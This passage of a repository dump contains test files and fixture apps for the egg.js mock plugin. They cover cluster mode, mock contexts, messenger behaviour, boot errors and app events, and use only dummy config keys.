]);\n    });\n\n    it('should send message from agent to app', () => {\n      assert.deepEqual(app._app.received, ['send data to app when server started', 'send data to a random app']);\n    });\n\n    it('should receive egg-ready', () => {\n      assert.equal(app._app.eggReady, true);\n      assert.equal(app._agent.eggReady, true);\n      assert.equal(app._agent.eggReadyData.baseDir, baseDir);\n      assert.equal(app._app.eggReadyData.baseDir, baseDir);\n    });\n\n    it('should broadcast message successfully', () => {\n      assert.equal(app._app.recievedBroadcastAction, true);\n      assert.equal(app._agent.recievedBroadcastAction, true);\n      assert.equal(app._app.recievedAgentRecievedAction, true);\n    });\n\n    it('should send message from app to app', () => {\n      assert.equal(app._app.recievedAppAction, true);\n    });\n  });\n\n  describe.skip('messenger binding on cluster() mode', () => {\n    let app: MockApplication;\n    const baseDir = getFixtures('messenger-binding');\n    beforeAll(async () => {\n      app = mm.cluster({\n        baseDir,\n        // cache: false,\n      });\n      // app.debug();\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n    });\n\n    // cannot get the app.agent\n    it.skip('should send message from app to agent', async () => {\n      assert.deepEqual(app._agent.received, [\n        'send data when app starting',\n        'send data when app started',\n        'send data to a random agent',\n      ]);\n    });\n\n    it.skip('should send message from agent to app', async () => {\n      // wait for message received\n      await scheduler.wait(500);\n      expect(app.getAppInstanceProperty('received').sort()).toMatchSnapshot();\n    });\n\n    it('should receive egg-ready', () => {\n      assert.equal(app.getAppInstanceProperty('eggReady'), true);\n    });\n\n    it('should broadcast message successfully', () => {\n      assert.equal(app.getAppInstanceProperty('recievedBroadcastAction'), true);\n      assert.equal(app.getAppInstanceProperty('recievedAgentRecievedAction'), true);\n    });\n\n    it('should send message from app to app', () => {\n      assert.equal(app.getAppInstanceProperty('recievedAppAction'), true);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/bootstrap-plugin.test.ts",
    "content": "import coffee from 'coffee';\nimport { mock, restore } from 'mm';\nimport { describe, it, afterAll } from 'vitest';\n\nimport { getFixtures } from './helper.ts';\n\ndescribe.skip('test/bootstrap-plugin.test.ts', () => {\n  afterAll(() => restore());\n\n  it('should throw error on plugin project', () => {\n    mock(process.env, 'EGG_BASE_DIR', getFixtures('plugin-bootstrap'));\n    const testFile = getFixtures('plugin-bootstrap/test.js');\n\n    return coffee\n      .fork(testFile)\n      .debug()\n      .expect('stderr', /DO NOT USE bootstrap to test plugin/)\n      .expect('code', 1)\n      .end();\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/bootstrap.test.ts",
    "content": "import path from 'node:path';\n\nimport { importResolve } from '@eggjs/utils';\nimport coffee from 'coffee';\nimport { describe, it } from 'vitest';\n\nimport { getFixtures } from './helper.ts';\n\ndescribe.skip('test/bootstrap.test.ts', () => {\n  describe('normal app in ESM', () => {\n    it('should work', async () => {\n      const eggBinFile = path.join(importResolve('@eggjs/bin/package.json'), '../bin/run.js');\n      await coffee\n        .fork(\n          eggBinFile,\n          [\n            'test',\n            '--no-typescript',\n            // error TS5097: An import path can only end with a '.ts' extension when 'allowImportingTsExtensions' is enabled\n            '-r',\n            getFixtures('../../src/register.ts'),\n          ],\n          {\n            cwd: getFixtures('apps/helloworld'),\n          },\n        )\n        .debug()\n        .expect('code', 0)\n        .expect('stdout', /\\d+ passing/)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/cluster-worker_threads.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport mm, { type MockClusterApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\n// FIXME: nodejs.SyntaxError: Invalid or unexpected token, --import=tsx/esm is not supported on worker_threads mode\ndescribe.skip('work on startMode=worker_threads', () => {\n  let app: MockClusterApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('demo'),\n      cache: false,\n      coverage: false,\n      startMode: 'worker_threads',\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should have members', async () => {\n    assert.equal(app.callback(), app);\n    assert.equal(app.listen(), app);\n    await app.ready();\n    assert(app.process);\n  });\n\n  it('should listen on port', async () => {\n    await scheduler.wait(3000);\n    app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:17\\d{3}/);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/cluster.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { detectPort } from 'detect-port';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe\n  .skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))\n  .sequential('test/cluster.test.ts', () => {\n    afterEach(mm.restore);\n\n    describe('normal', () => {\n      let app: MockApplication;\n      beforeAll(() => {\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          cache: false,\n          coverage: false,\n        });\n        // app.debug();\n        return app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should have members', async () => {\n        assert.equal(app.callback(), app);\n        assert.equal(app.listen(), app);\n        await app.ready();\n        assert(app.process);\n      });\n\n      it('should throw error when mock function not exists', () => {\n        assert.throws(() => {\n          app.mockNotExists();\n        }, /method \"mockNotExists\" not exists on app/);\n      });\n\n      it('should listen on port', () => {\n        app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:\\d{4,5}/);\n      });\n    });\n\n    describe.skip('cluster with fullpath baseDir', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app.httpRequest().get('/hello').expect('hi').expect(200);\n      });\n    });\n\n    describe.skip('cluster with shortpath baseDir', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app.httpRequest().get('/hello').expect('hi').expect(200);\n      });\n    });\n\n    describe.skip('cluster with customEgg=string', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('apps/barapp'),\n          customEgg: getFixtures('bar'),\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app\n          .httpRequest()\n          .get('/')\n          .expect({\n            foo: 'bar',\n            foobar: 'bar',\n          })\n          .expect(200);\n      });\n    });\n\n    describe.skip('cluster with framework=string', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('apps/barapp'),\n          framework: getFixtures('bar'),\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app\n          .httpRequest()\n          .get('/')\n          .expect({\n            foo: 'bar',\n            foobar: 'bar',\n          })\n          .expect(200);\n      });\n    });\n\n    describe.skip('cluster with customEgg=true', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        mm(process, 'cwd', () => {\n          return getFixtures('bar');\n        });\n        app = mm.cluster({\n          baseDir: getFixtures('apps/barapp'),\n          customEgg: true,\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app\n          .httpRequest()\n          .get('/')\n          .expect({\n            foo: 'bar',\n            foobar: 'bar',\n          })\n          .expect(200);\n      });\n    });\n\n    describe.skip('cluster with framework=true', () => {\n      let app: MockApplication;\n      beforeAll(async () => {\n        mm(process, 'cwd', () => {\n          return getFixtures('bar');\n        });\n        app = mm.cluster({\n          baseDir: getFixtures('apps/barapp'),\n          framework: true,\n          // cache: false,\n          // coverage: false,\n        });\n        await app.ready();\n      });\n      afterAll(() => app.close());\n\n      it('should work', async () => {\n        await app\n          .httpRequest()\n          .get('/')\n          .expect({\n            foo: 'bar',\n            foobar: 'bar',\n          })\n          .expect(200);\n      });\n    });\n\n    describe('cluster with cache', () => {\n      let app1: MockApplication;\n      let app2: MockApplication;\n      afterEach(() => {\n        const promises: Promise<void>[] = [];\n        app1 && promises.push(app1.close());\n        app2 && promises.push(app2.close());\n        return Promise.all(promises);\n      });\n\n      it('should return cached cluster app', async () => {\n        app1 = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // coverage: false,\n        });\n        await app1.ready();\n\n        app2 = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // coverage: false,\n        });\n        await app2.ready();\n\n        assert.equal(app1, app2);\n      });\n\n      it('should return new app if cached app has been closed', async () => {\n        app1 = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // coverage: false,\n        });\n        await app1.ready();\n        await app1.close();\n\n        app2 = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // coverage: false,\n        });\n        await app2.ready();\n\n        assert.notEqual(app2, app1);\n      });\n    });\n\n    describe('cluster with eggPath', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should get eggPath', async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          customEgg: getFixtures('chair'),\n          eggPath: '/path/to/eggPath',\n          // cache: false,\n          // coverage: false,\n        } as any);\n        await app\n          .debug()\n          .expect('stdout', /\\/path\\/to\\/eggPath/)\n          .end();\n      });\n    });\n\n    describe('cluster with workers', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should get 2 workers', async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          customEgg: getFixtures('chair'),\n          workers: 2,\n          // cache: false,\n          // coverage: false,\n        });\n        app.debug();\n        await app\n          .expect('stdout', /app_worker#1:/)\n          .expect('stdout', /app_worker#2:/)\n          .end();\n      });\n    });\n\n    describe.skip('cluster with opts.customEgg', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should pass execArgv', async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('custom_egg'),\n          customEgg: getFixtures('bar'),\n          workers: 1,\n          // cache: false,\n          // coverage: false,\n          opt: {\n            execArgv: ['--inspect'],\n          },\n        });\n        // app.debug();\n        await app\n          .expect('stdout', /app_worker#1:/)\n          .expect('stderr', /Debugger listening/)\n          .end();\n      });\n    });\n\n    describe('cluster with egg.framework=yadan', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should pass execArgv', async () => {\n        app = mm.cluster({\n          baseDir: getFixtures('yadan_app'),\n          workers: 1,\n          cache: false,\n          coverage: false,\n        });\n        await app.expect('stdout', /app_worker#1:/).end();\n      });\n    });\n\n    describe.skip('prerequire', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should load files', async () => {\n        mm(process.env, 'EGG_BIN_PREREQUIRE', 'true');\n        mm(process.env, 'NODE_DEBUG', 'egg-mock:prerequire');\n        app = mm.cluster({\n          baseDir: getFixtures('yadan_app'),\n          workers: 1,\n          // cache: false,\n          // coverage: false,\n        });\n        await app\n          .expect('stderr', /prerequire .+?\\/app\\/extend\\/application.js/)\n          .expect('code', 0)\n          .end();\n      });\n    });\n\n    describe('custom port', () => {\n      let app: MockApplication;\n      afterAll(() => app.close());\n\n      it('should use it', async () => {\n        let port = await detectPort();\n        app = mm.cluster({\n          baseDir: getFixtures('demo'),\n          // cache: false,\n          // coverage: false,\n          port,\n        });\n        // app.debug();\n        await app.ready();\n\n        app.expect('stdout', new RegExp(`egg started on http://127.0.0.1:${port}`));\n      });\n    });\n  });\n"
  },
  {
    "path": "plugins/mock/test/ctx.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst fixtures = getFixtures('');\n\ndescribe('test/ctx.test.ts', () => {\n  afterEach(mm.restore);\n\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: path.join(fixtures, 'demo'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should has logger, app, request', () => {\n    const ctx = app.mockContext();\n    assert(ctx.app instanceof Object);\n    assert(ctx.logger instanceof Object);\n    assert(ctx.coreLogger instanceof Object);\n    assert(ctx.request.url === '/');\n    assert(ctx.request.ip === '127.0.0.1');\n  });\n\n  it('should ctx.ip work', () => {\n    const ctx = app.mockContext();\n    ctx.request.headers['x-forwarded-for'] = '';\n    assert.equal(ctx.request.ip, '127.0.0.1');\n  });\n\n  it('should has services', async () => {\n    const ctx = app.mockContext();\n    const data = await ctx.service.foo.get('foo');\n    assert.equal(data, 'bar');\n  });\n\n  it('should not override mockData', async () => {\n    const mockData: any = { user: 'popomore' };\n    app.mockContext(mockData);\n    app.mockContext(mockData);\n    assert(!mockData.headers);\n    assert(!mockData.method);\n  });\n\n  describe('mockContextScope', () => {\n    it('should not conflict with nest call', async () => {\n      await app.mockContextScope(async (ctx: any) => {\n        const currentStore = app.ctxStorage.getStore();\n        assert(ctx === currentStore);\n\n        await app.mockContextScope(async (nestCtx: any) => {\n          const currentStore = app.ctxStorage.getStore();\n          assert(nestCtx === currentStore);\n        });\n      });\n\n      await app.mockContextScope(async () => {\n        const ctx = app.ctxStorage.getStore();\n        await app.mockContextScope(async (newCtx: any) => {\n          const currentStore = app.ctxStorage.getStore();\n          assert.equal(newCtx, currentStore);\n          assert.notEqual(ctx, currentStore);\n        });\n      });\n    });\n\n    it('should not conflict with concurrent call', async () => {\n      await Promise.all([\n        app.mockContextScope(async (ctx: any) => {\n          const currentStore = app.ctxStorage.getStore();\n          assert(ctx === currentStore);\n        }),\n        app.mockContextScope(async (ctx: any) => {\n          const currentStore = app.ctxStorage.getStore();\n          assert(ctx === currentStore);\n        }),\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/demo-cluster.ts",
    "content": "import mm from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst app = mm.cluster({\n  baseDir: getFixtures('simple'),\n});\nawait app.ready();\n\nconst res = await app.httpRequest().get('/').expect('hi');\n\nconsole.log(res.statusCode, res.headers, res.text);\n\nawait app.close();\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent/agent.js",
    "content": "const Client = require('./client');\n\nmodule.exports = (agent) => {\n  const done = agent.readyCallback('agent:agent');\n  setTimeout(() => {\n    done();\n  }, 100);\n\n  agent.client = agent.cluster(Client).create();\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent/app.js",
    "content": "const Client = require('./client');\n\nmodule.exports = function (app) {\n  const done = app.readyCallback('agent:app');\n  setTimeout(() => {\n    done();\n  }, 100);\n\n  app.client = app.cluster(Client).create();\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent/client.js",
    "content": "const { Base } = require('sdk-base');\n\nclass Client extends Base {\n  constructor() {\n    super();\n    this.ready(true);\n  }\n\n  subscribe(topic, listener) {\n    setTimeout(() => listener(topic), 10);\n  }\n}\n\nmodule.exports = Client;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent-boot-error/agent.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class Boot {\n  async configWillLoad() {\n    console.error('mock error');\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent-boot-error/package.json",
    "content": "{\n  \"name\": \"agent-boot-error\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent-boot-ready-error/agent.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  async didLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/agent-boot-ready-error/package.json",
    "content": "{\n  \"name\": \"agent-boot-ready-error\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app/app/router.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.get('/', async (ctx) => {\n    ctx.body = 'foo';\n  });\n\n  app.get('/keepAliveTimeout', async (ctx) => {\n    ctx.body = {\n      keepAliveTimeout: ctx.app.serverKeepAliveTimeout ?? 5000,\n    };\n  });\n\n  app.get('/ua', async (ctx) => {\n    ctx.body = ctx.get('user-agent');\n  });\n\n  app.get('/logger', async (ctx) => {\n    ctx.logger.info('[app.expectLog() test] ok');\n    ctx.coreLogger.info('[app.expectLog(coreLogger) test] ok');\n    ctx.body = { ok: true };\n  });\n\n  let counter = 0;\n  app.get('/counter', async (ctx) => {\n    ctx.body = { counter };\n  });\n\n  app.get('/counter/plus', async (ctx) => {\n    ctx.runInBackground(async (ctx) => {\n      // mock io delay\n      await scheduler.wait(10);\n      if (ctx.superMan) {\n        counter += 10;\n        return;\n      }\n      counter++;\n    });\n    ctx.body = { counter };\n  });\n\n  app.get('/counter/minus', async (ctx) => {\n    ctx.runInBackground(async () => {\n      await scheduler.wait(10);\n      counter--;\n    });\n    ctx.body = { counter };\n  });\n\n  app.get('/counter/plusplus', async (ctx) => {\n    ctx.runInBackground(async (ctx) => {\n      // mock io delay\n      await scheduler.wait(10);\n      if (ctx.superMan) {\n        counter += 10;\n      } else {\n        counter++;\n      }\n      ctx.runInBackground(async (ctx) => {\n        // mock io delay\n        await scheduler.wait(10);\n        if (ctx.superMan) {\n          counter += 10;\n        } else {\n          counter++;\n        }\n      });\n    });\n    ctx.body = { counter };\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.on('server', (server) => {\n    app.serverKeepAliveTimeout = server.keepAliveTimeout || 5000;\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-boot-error/app.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class AppBootHook {\n  configWillLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-boot-error/package.json",
    "content": "{\n  \"name\": \"app-boot-error\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-boot-ready-error/app.js",
    "content": "const { FrameworkBaseError } = require('@eggjs/errors');\n\nclass CustomError extends FrameworkBaseError {\n  get module() {\n    return 'customPlugin';\n  }\n}\n\nmodule.exports = class {\n  async didLoad() {\n    throw new CustomError('mock error', 99);\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-boot-ready-error/package.json",
    "content": "{\n  \"name\": \"app-boot-ready-error\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-event/agent.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.ready(() => {\n    app.emit('agentInstantiated');\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-event/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/event', async function () {\n    this.app.emit('eventByRequest');\n    this.body = 'done';\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-event/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.ready(() => {\n    // after ready\n    console.log('emit appReady event in app.js');\n    app.emit('appReady');\n  });\n  console.log('register ready event in app.js');\n\n  process.nextTick(() => {\n    // before ready, after app instantiate\n    app.emit('appInstantiated');\n  });\n\n  app.beforeStart(async function () {\n    await scheduler.wait(1000);\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-event/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-event/package.json",
    "content": "{\n  \"name\": \"app-event\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-fail/app/router.js",
    "content": "'use strict';\n\nthrow new Error('load error');\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-fail/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-fail/package.json",
    "content": "{\n  \"name\": \"egg-mock\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get getter() {\n    return 'getter';\n  },\n  method() {\n    return 'method';\n  },\n  prop: 1,\n  shouldBeDelete: true,\n\n  get a() {\n    return 'a';\n  },\n  set a(x) {\n    this._a = x;\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy/package.json",
    "content": "{\n  \"name\": \"app-proxy\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy-ready/agent.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  // set timeout let testcase ran before ready\n  app.beforeStart(async function () {\n    await scheduler.wait(1000);\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy-ready/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.emit('eventOnReady');\n  app.emit('eventOnReady');\n  app.emit('eventOnceReady');\n  app.emit('eventOnceReady');\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy-ready/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-proxy-ready/package.json",
    "content": "{\n  \"name\": \"app-proxy-ready\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-ready-failed/app.js",
    "content": "module.exports = class AppHook {\n  async didLoad() {\n    throw new Error('mock app ready failed');\n  }\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-ready-failed/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-ready-failed/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/app-ready-failed/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst assert = require('assert');\nconst { app } = require('../../../../dist/commonjs/bootstrap');\n\ndescribe('test for app ready failed', () => {\n  it('should not print', () => {\n    // ...\n    assert(app);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-not-clean/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-not-clean/package.json",
    "content": "{\n  \"name\": \"app-not-clean\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-throw/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/throw', async function () {\n    this.body = 'foo';\n    setTimeout(() => {\n      /* eslint-disable-next-line */\n      a.b = c;\n    }, 1);\n  });\n\n  app.get('/throw-unhandledRejection', async function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      reject(new Error('foo reject error'));\n    });\n  });\n\n  app.get('/throw-unhandledRejection-string', async function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      reject(new Error('foo reject string error'));\n    });\n  });\n\n  app.get('/throw-unhandledRejection-obj', async function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      const err = {\n        name: 'TypeError',\n        message: 'foo reject obj error',\n        stack: new Error().stack,\n        toString() {\n          return this.name + ': ' + this.message;\n        },\n      };\n      reject(err);\n    });\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-throw/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-throw/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/app-throw/package.json",
    "content": "{\n  \"name\": \"app-throw\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/barapp/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    foo: this.app.config.foo,\n    foobar: this.app.config.foobar,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/barapp/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/barapp/config/config.default.js",
    "content": "'use strict';\n\nexports.foo = 'bar';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/barapp/package.json",
    "content": "{\n  \"name\": \"barapp\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/config/config.default.js",
    "content": "'use strict';\n\nexports.fakeplugin = {\n  foo: 'bar-default',\n};\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n\nexports.development = {\n  fastReady: false,\n};\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/config/config.local.js",
    "content": "'use strict';\n\nexports.development = {\n  fastReady: false,\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/config/config.prod.js",
    "content": "'use strict';\n\nexports.fakeplugin = {\n  foo: 'bar-prod',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/config/config.test.js",
    "content": "'use strict';\n\nexports.fakeplugin = {\n  foo: 'bar-test',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/config/config.unittest.js",
    "content": "'use strict';\n\nexports.fakeplugin = {\n  foo: 'bar-unittest',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/env-app/package.json",
    "content": "{\n  \"name\": \"env-app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/foo/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    this.body = {\n      fooPlugin: app.fooPlugin,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/foo/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/foo/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/helloworld/app/router.js",
    "content": "export default (app) => {\n  app.get('/', async (ctx) => {\n    ctx.body = {\n      hello: 'world',\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/helloworld/config/config.default.js",
    "content": "export default {\n  keys: '123456',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/helloworld/package.json",
    "content": "{\n  \"name\": \"helloworld\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"6\"\n  },\n  \"egg\": {\n    \"typescript\": false\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/helloworld/test/helloworld.test.js",
    "content": "import { describe, it } from 'vitest';\n\nimport { app } from '../../../../../dist/esm/bootstrap.js';\n\ndescribe('bootstrap test', () => {\n  it('should GET /', () => {\n    return app.httpRequest().get('/').expect({\n      hello: 'world',\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mock_cookies/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    this.body = {\n      cookieValue: this.cookies.get('foo', { signed: false }) || undefined,\n      cookiesValue: this.cookies.get('foo', { signed: false }) || undefined,\n    };\n  });\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mock_cookies/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mock_cookies/config/plugin.js",
    "content": "// disable tegg plugins\nexports.teggEventbus = false;\nexports.tegg = false;\nexports.teggConfig = false;\nexports.teggController = false;\nexports.teggDal = false;\nexports.teggSchedule = false;\nexports.teggOrm = false;\nexports.teggAjv = false;\nexports.teggAop = false;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mock_cookies/package.json",
    "content": "{\n  \"name\": \"mockCookies\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mockhome/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/mockhome/package.json",
    "content": "{\n  \"name\": \"mockhome\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/no-framework/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    path: path.join(__dirname, '../plugin/a'),\n  },\n};\n"
  },
